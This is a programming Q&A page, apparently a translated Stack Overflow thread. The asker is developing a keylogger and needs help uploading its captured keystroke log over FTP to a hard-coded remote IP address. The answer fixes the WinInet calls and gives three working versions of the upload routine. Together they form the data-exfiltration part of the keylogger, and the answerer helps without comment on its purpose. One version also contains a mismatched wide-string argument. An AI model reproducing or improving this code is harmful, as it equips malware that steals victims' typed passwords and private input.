GetLastError () возвращает ошибку 6 из FtpPutFile () - PullRequest
0 голосов
/ 29 октября 2019

Я разрабатываю кейлоггер для проекта. При попытке загрузить журналы на сервер с FTP, GetLastError() возвращает 6 для FtpPutFile(). Я не нашел решения. Одно решение, которое я нашел, было hint неверно, но я заменил 0 или NULL и все еще получаю ту же ошибку.

#pragma comment(lib, "Wininet.lib")
#include <Windows.h>
#include <iostream>
#include <WinInet.h>
#include <tchar.h>
using namespace std;

int  upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file\n";
        return 0;
    }

    HINTERNET hint = InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
    HINTERNET hftp = InternetConnect(hint, (LPCWSTR)site.c_str(), INTERNET_DEFAULT_FTP_PORT,
        (LPCWSTR) user.c_str(), (LPCWSTR)pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);

    if (!FtpPutFile(hftp, (LPCWSTR)file.c_str(), (LPCWSTR)"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        //cout << "FAIL!" << endl;
        cout << GetLastError() << endl;
    }
    else
    {
        cout << "file sended !";
    }

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);
    return 0;
} 

1 Ответ

0 голосов
/ 29 октября 2019

Ошибка 6 - ERROR_INVALID_HANDLE. Вы не проверяете возвращаемые значения InternetOpen() и InternetConnect() на наличие сбоев перед вызовом FtpPutFile().

Фактически вы передаете недопустимый дескриптор на FtpPutFile(), потому что они на самом деле дают сбой,потому что все ваши LPCWSTR типы являются просто неправильными. Вы не можете просто ввести указатель char* на wchar_t* и ожидать, что все будет работать. Удалите Typecasts и посмотрите компилятор, а затем пожалуются вам. Для этого есть причина.

Вам необходимо использовать MultiByteToWideChar() (или эквивалент), чтобы фактически преобразовать данные char в wchar_t, например:

#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
#include <vector>
using namespace std;

#pragma comment(lib, "Wininet.lib")

wstring to_wstring(const string &s)
{
    int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), NULL, 0);
    if (len > 0)
    {
        vector<WCHAR> vec(len);
        MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), &vec[0], len);
        return wstring(&vec[0], len);
    }
    return wstring();
}

bool upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file" << endl;
        return false;
    }

    HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectW(hint, to_wstring(site).c_str(), INTERNET_DEFAULT_FTP_PORT, to_wstring(user).c_str(), to_wstring(pass).c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetConnect failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileW(hftp, to_wstring(file).c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
} 

Или просто используйте std::wstring для начала вместо использования std::string вообще:

#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
using namespace std;

#pragma comment(lib, "Wininet.lib")

bool upload()
{
    wstring file = L"C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    wstring site = L"142.93.169.69";
    wstring user = L"user";
    wstring pass = L"pass";

    if (!wifstream(file))
    {
        cout << "no file" << endl;
        return 0;
    }

    HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectW(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileW(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
} 

В противном случае, если вы хотите продолжать использовать std::string как есть, тогда просто используйтеANSI-версия функций WinInet:

#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
using namespace std;

#pragma comment(lib, "Wininet.lib")

bool upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file" << endl;
        return 0;
    }

    HINTERNET hint = InternetOpenA(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectA(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileA(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
} 
...